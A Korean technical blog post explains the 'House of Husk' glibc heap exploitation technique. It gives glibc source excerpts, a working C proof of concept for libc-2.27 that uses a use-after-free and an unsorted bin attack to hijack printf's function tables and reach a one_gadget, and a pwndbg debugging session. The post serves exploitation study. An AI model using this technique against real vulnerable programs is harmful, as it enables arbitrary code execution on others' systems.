좀 열심히 쓴 글

House of Husk

ch4rli3kop 2020. 8. 9. 00:51
반응형

House of Husk

https://ptr-yudai.hatenablog.com/entry/2020/04/02/111507

Summary

printf 동작 중 사용자가 custom printf 를 등록하여 사용할 수 있는 기능을 이용한 방법.

다음과 같이 정의되지 않은 형식문자를 사용자가 등록하여 사용할 수 있음.

#include <stdio.h>
#include <printf.h>

int func(FILE* stream, const struct printf_info* info, const void* const* args){
   printf("Called Func\n");
}

int arginfo(const struct printf_info* info, size_t n, int* argtypes, int* size){
   return 1;
}

int main(int argc, char* argv[]){
   register_printf_specifier('Q', func, arginfo);
   printf("%Q");
}

Intro

1. register_printf_specifier

특정 형식문자에 대한 처리함수를 등록하는 함수.

다음과 같이 생겼는데, calloc을 이용하여 메모리를 할당받고, 해당 공간을 __printf_arginfo_table__printf_function_table로 사용함. 사용자가 등록하려는 printf function과 arginfo function은 해당 table들을 기준으로 등록하려는 형식문자를 인덱스로 하여 function pointer를 table에 저장함.

nt
__register_printf_specifier (int spec, printf_function converter,
    printf_arginfo_size_function arginfo)
{
 if (spec < 0 || spec > (int) UCHAR_MAX)
  {
     __set_errno (EINVAL);
     return -1;
  }

 int result = 0;
 __libc_lock_lock (lock);

 if (__printf_function_table == NULL)
  {
     __printf_arginfo_table = (printf_arginfo_size_function **)
calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
     if (__printf_arginfo_table == NULL)
{
 result = -1;
 goto out;
}

     __printf_function_table = (printf_function **)
(__printf_arginfo_table + UCHAR_MAX + 1);
  }

 __printf_function_table[spec] = converter;
 __printf_arginfo_table[spec] = arginfo;

out:
 __libc_lock_unlock (lock);

 return result;
}

다음에서는 등록한 table들의 function pointer가 어떻게 사용되는지 설명함.

2. printf

printf는 내부적으로 인자를 처리한 뒤, vfprintf를 호출함으로써 동작함.

int
__printf (const char *format, ...)
{
 va_list arg;
 int done;

 va_start (arg, format);
 done = vfprintf (stdout, format, arg);
 va_end (arg);

 return done;
}

2. printf -> vfprintf

vfprintf에서는 __printf_function_table이 NULL 인지 비교하여, 등록된 custom printf가 존재하는지 확인한 뒤, 존재한다면 printf_positional을 호출함.

int
vfprintf (FILE *s, const CHAR_T *format, va_list ap)
{

...
     
  /* Use the slow path in case any printf handler is registered. */
 if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
   goto do_positional;    
   
...
     
   /* Hand off processing for positional parameters. */
do_positional:
 if (__glibc_unlikely (workstart != NULL))
  {
     free (workstart);
     workstart = NULL;
  }
 done = printf_positional (s, format, readonly_format, ap, &ap_save,
   done, nspecs_done, lead_str_end, work_buffer,
   save_errno, grouping, thousands_sep);

...

 return done;

2. printf -> vfprintf -> printf_positional

spec에 대한 처리들을 진행하며, __printf_arginfo_table에 등록된 함수를 호출한 뒤, __printf_function_table에 등록된 함수를 호출함.

static int
printf_positional (_IO_FILE *s, const CHAR_T *format, int readonly_format,
  va_list ap, va_list *ap_savep, int done, int nspecs_done,
  const UCHAR_T *lead_str_end,
  CHAR_T *work_buffer, int save_errno,
  const char *grouping, THOUSANDS_SEP_T thousands_sep)
{
  ...
       
     default:
 /* We have more than one argument for this format spec.
    We must call the arginfo function again to determine
    all the types. */
(void) (*__printf_arginfo_table[specs[cnt].info.spec])
  (&specs[cnt].info,
    specs[cnt].ndata_args, &args_type[specs[cnt].data_arg],
    &args_size[specs[cnt].data_arg]);
 break;
}
  }

   
  ...
       
    /* Process format specifiers. */
     while (1)
{
 extern printf_function **__printf_function_table;
 int function_done;

 if (spec <= UCHAR_MAX
     && __printf_function_table != NULL
     && __printf_function_table[(size_t) spec] != NULL)
  {
     const void **ptr = alloca (specs[nspecs_done].ndata_args
* sizeof (const void *));

     /* Fill in an array of pointers to the argument values. */
     for (unsigned int i = 0; i < specs[nspecs_done].ndata_args;
  ++i)
ptr[i] = &args_value[specs[nspecs_done].data_arg + i];

     /* Call the function. */
     function_done = __printf_function_table[(size_t) spec]
(s, &specs[nspecs_done].info, ptr);

    ...
}

PoC

/**
* This is a Proof-of-Concept for House of Husk
* This PoC is supposed to be run with libc-2.27.
*/
#include <stdio.h>
#include <stdlib.h>
#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA       0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO   0x3ec870
#define ONE_GADGET       0x4f3c2
int main (void)
{
 unsigned long libc_base;
 char *a[10];
 setbuf(stdout, NULL); // make printf quiet
 /* leak libc */
 a[0] = malloc(0x500); /* UAF chunk */
 a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
 a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
 a[3] = malloc(0x500); /* avoid consolidation */
 free(a[0]);
 libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
 printf("libc @ 0x%lx\n", libc_base);
 /* prepare fake printf arginfo table */
 
 *(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
 /* unsorted bin attack */
 *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
 a[0] = malloc(0x500); /* overwrite global_max_fast */
 /* overwrite __printf_arginfo_table and __printf_function_table */
 free(a[1]);
 free(a[2]);
 /* ignite! */
 printf("%X", 0);
 
 return 0;
}

Precondition

  • 상당히 큰 size의 chunk 할당이 가능

  • UAF in unsorted bin

  • printf()에 형식문자 입력 가능 or printf("%{}")을 호출할 수 있을 것.

  • __printf_function_table__printf_arginfo_table을 만든 뒤 해당 주소를 알아야 함.

Exploit

1. global_max_fast 변조

unsorted bin attack을 통해 fastbin의 경계 값을 나타내는 전역변수인 global_max_fast 값을 큰 값으로 변조함. free 할 때, 다음과 같이 chunk size를 global_max_fast 값과 비교하여 fastbin 영역에 속하는지 확인하기 때문에, 해당 값을 매우 큰 값으로 변조했을 때 큰 size의 chunk를 free 했을 때도, fastbin에 저장하게됨.

if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

#if TRIM_FASTBINS
     /*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
     */
     && (chunk_at_offset(p, size) != av->top)
#endif
    ) {

   if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
 <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
    >= av->system_mem, 0))
    {
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
  of system_mem might result in a false positive. Redo the test after
  getting the lock. */
if (!have_lock)
{
   __libc_lock_lock (av->mutex);
   fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
   || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
   __libc_lock_unlock (av->mutex);
}

if (fail)
 malloc_printerr ("free(): invalid next size (fast)");
    }

   free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);

   atomic_store_relaxed (&av->have_fastchunks, true);
   unsigned int idx = fastbin_index(size);
   fb = &fastbin (av, idx);

   /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
   mchunkptr old = *fb, old2;

   if (SINGLE_THREAD_P)
    {
/* Check that the top of the bin is not the record we are going to
  add (i.e., double free). */
if (__builtin_expect (old == p, 0))
 malloc_printerr ("double free or corruption (fasttop)");
p->fd = old;
*fb = p;
    }
   else
     do
{
 /* Check that the top of the bin is not the record we are going to
    add (i.e., double free). */
 if (__builtin_expect (old == p, 0))
   malloc_printerr ("double free or corruption (fasttop)");
 p->fd = old2 = old;
}
     while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
    != old2);

   /* Check that size of fastbin chunk at the top is the same as
      size of the chunk that we are adding. We can dereference OLD
      only if we have the lock, otherwise it might have already been
      allocated again. */
   if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
     malloc_printerr ("invalid fastbin entry (free)");
}

2. fake chunk 생성

one gadget 등의 함수의 주소를 갖는 __printf_arginfo_table__printf_function_table을 생성함.

3. overwrite __printf_arginfo_table, __printf_function_table

정상적이라면 free 했을 때, chunk size를 index로 변환한 뒤 해당 chunk의 주소를 main_arena 내의 해당 chunk size 위치에 덮어쓰지만, global_max_fast 값이 커져, 일종의 oob가 발생하므로 main_arena를 넘어선 주소에 free된 chunk의 주소를 덮어쓸 수 있음.

4. Call printf("%{}")

형식문자를 조절하여 table에 등록된 함수를 호출하면 됨. arginfo나 function이나 암거나 써도 되지만, 어차피 arginfo 가 먼저 실행되고 function이 실행되는데 arginfo가 null이면 안되므로 그냥 arginfo만 하는게 편함.

Debug

unsorted attack 부분

─────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────
RAX 0x7ffff7dd0860 (map) ◂— 0x0
RBX 0x7ffff7dcfc40 (main_arena) ◂— 0x0
RCX 0x184
RDX 0x0
RDI 0x60bba0 ◂— 0x0
RSI 0x0
R8   0x77
R9   0x0
R10 0x602010 ◂— 0x0
R11 0x0
R12 0x60bba0 ◂— 0x0
R13 0x60bb90 ◂— 0x0
R14 0x186
R15 0x0
RBP 0xffffffffffffffb0
RSP 0x7fffffffde80 ◂— 0xffffffffffffffb0
*RIP 0x7ffff7a7bb0b (free+331) ◂— mov   qword ptr [rax + 0x10], r13
──────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────
  0x7ffff7a7baf6 <free+310>     test   esi, esi
  0x7ffff7a7baf8 <free+312>     jne   free+1615 <free+1615>

  0x7ffff7a7bafe <free+318>     cmp   r13, rdx
  0x7ffff7a7bb01 <free+321>     je     free+1704 <free+1704>

  0x7ffff7a7bb07 <free+327>     mov   qword ptr [r12], rdx
► 0x7ffff7a7bb0b <free+331>     mov   qword ptr [rax + 0x10], r13 <0x7ffff7dd0870>
  0x7ffff7a7bb0f <free+335>     nop    
  0x7ffff7a7bb10 <free+336>     mov   rax, qword ptr [rsp + 0x28]
  0x7ffff7a7bb15 <free+341>     xor   rax, qword ptr fs:[0x28]
  0x7ffff7a7bb1e <free+350>     jne   free+2808 <free+2808>
  ↓
  0x7ffff7a7c4b8 <free+2808>   call   __stack_chk_fail <__stack_chk_fail>
───────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffde80 ◂— 0xffffffffffffffb0
01:0008│     0x7fffffffde88 ◂— 0x500
02:0010│     0x7fffffffde90 ◂— 0xffffffffffffffb0
03:0018│     0x7fffffffde98 —▸ 0x400590 (_start) ◂— xor   ebp, ebp
04:0020│     0x7fffffffdea0 —▸ 0x7fffffffe040 ◂— 0x1
05:0028│     0x7fffffffdea8 ◂— 0x7d323a5c54382100
06:0030│     0x7fffffffdeb0 ◂— 0x0
... ↓
─────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────
► f 0     7ffff7a7bb0b free+331
  f 1     7ffff7a7bb0b free+331
  f 2           400763 main+236
  f 3     7ffff7a05b97 __libc_start_main+231
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x602000
Size: 0x251

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x602250
Size: 0x511
fd: 0x7ffff7dcfca0
bk: 0x7ffff7dd1930

Allocated chunk | PREV_INUSE
Addr: 0x602760
Size: 0x9431

Allocated chunk | PREV_INUSE
Addr: 0x60bb90
Size: 0x1861

Allocated chunk | PREV_INUSE
Addr: 0x60d3f0
Size: 0x511

Top chunk | PREV_INUSE
Addr: 0x60d900
Size: 0x15701

pwndbg> x/4gx 0x7ffff7dd0860
0x7ffff7dd0860 <map>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0870 <__printf_arginfo_table>: 0x0000000000000000 0x0000000000000000

코드 상에서

      {
/* Check that the top of the bin is not the record we are going to
  add (i.e., double free). */
if (__builtin_expect (old == p, 0))
 malloc_printerr ("double free or corruption (fasttop)");
p->fd = old;
*fb = p;
    }


Conclusion

그냥 뭐 printf에 저런게 있다는 거에 신기방기

반응형